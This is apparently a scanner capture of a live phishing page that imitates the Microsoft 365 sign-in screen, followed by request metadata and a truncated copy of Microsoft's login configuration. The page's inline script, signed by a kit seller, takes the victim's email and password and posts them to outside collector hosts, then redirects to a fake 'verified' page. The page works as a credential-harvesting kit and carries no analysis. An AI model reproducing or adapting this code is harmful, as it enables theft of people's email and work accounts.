            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
145.239.131.55 , France, ASN16276 (OVH, FR),
Reverse DNS
i.ibb.co
Software
nginx /
Resource Hash
a3ec79086c71191b0dbc128b397d1a27d132bd2b658667bc4229b53cbcb20b05

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

date
Wed, 10 Mar 2021 10:27:59 GMT
last-modified
Sat, 18 Jan 2020 16:32:59 GMT
server
nginx
access-control-allow-methods
GET, OPTIONS
content-type
image/png
access-control-allow-origin
*
cache-control
max-age=315360000, public
accept-ranges
bytes
content-length
1082
expires
Thu, 31 Dec 2037 23:55:55 GMT
picker_more.png
srv-file8.gofile.io/download/NAGerp/ Frame 83F5 		0
0 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://srv-file8.gofile.io/download/NAGerp/picker_more.png
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b52